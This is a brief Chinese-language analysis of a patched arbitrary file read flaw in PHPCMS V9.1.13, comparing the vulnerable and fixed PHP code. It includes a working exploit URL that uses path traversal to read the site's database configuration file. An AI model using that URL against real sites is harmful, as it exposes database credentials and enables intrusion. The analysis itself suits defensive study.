PHPCMS V9.1.13 任意文件读取漏洞分析
最近爆出了 PHPCMS V9.1.13 任意文件包含漏洞,新版本(v9.1.16)已经针对该漏洞做了修复。
首先我们看触发漏洞的 URL:
/index.php?m=search&c=index&a=public_get_suggest_keyword&url=test&q=../../phpsso_server/caches/configs/database.php
我将 public_get_suggest_keyword 作为关键字在源码中查找:
grep -H -n -R "public_get_suggest_keyword" *
结果如下:
在 phpcms/modules/search/index.php 文件的第 198 行找到该函数的定义了:public function public_get_suggest_keyword:
198 public function public_get_suggest_keyword() { 199 $url = $_GET['url'].'&q='.$_GET['q']; 200 201 $res = @file_get_contents($url); 202 if(CHARSET != 'gbk') { 203 $res = iconv('gbk', CHARSET, $res); 204 } 205 echo $res; 206 }
注意第 201 行的 file_get_contents 函数,该函数可以获得指定文件的内容,在此并未做过滤直接可以读取任意文件内容。
在新版本中该函数已经修复:
198 public function public_get_suggest_keyword() { 199 $url = $_GET['url'].'&q='.$_GET['q']; 200 $trust_url = array('c8430fcf851e85818b546addf5bc4dd3'); 201 $urm_md5 = md5($url); 202 if (!in_array($urm_md5, $trust_url)) exit; 203 204 $res = @file_get_contents($url); 205 if(CHARSET != 'gbk') { 206 $res = iconv('gbk', CHARSET, $res); 207 } 208 echo $res; 209 }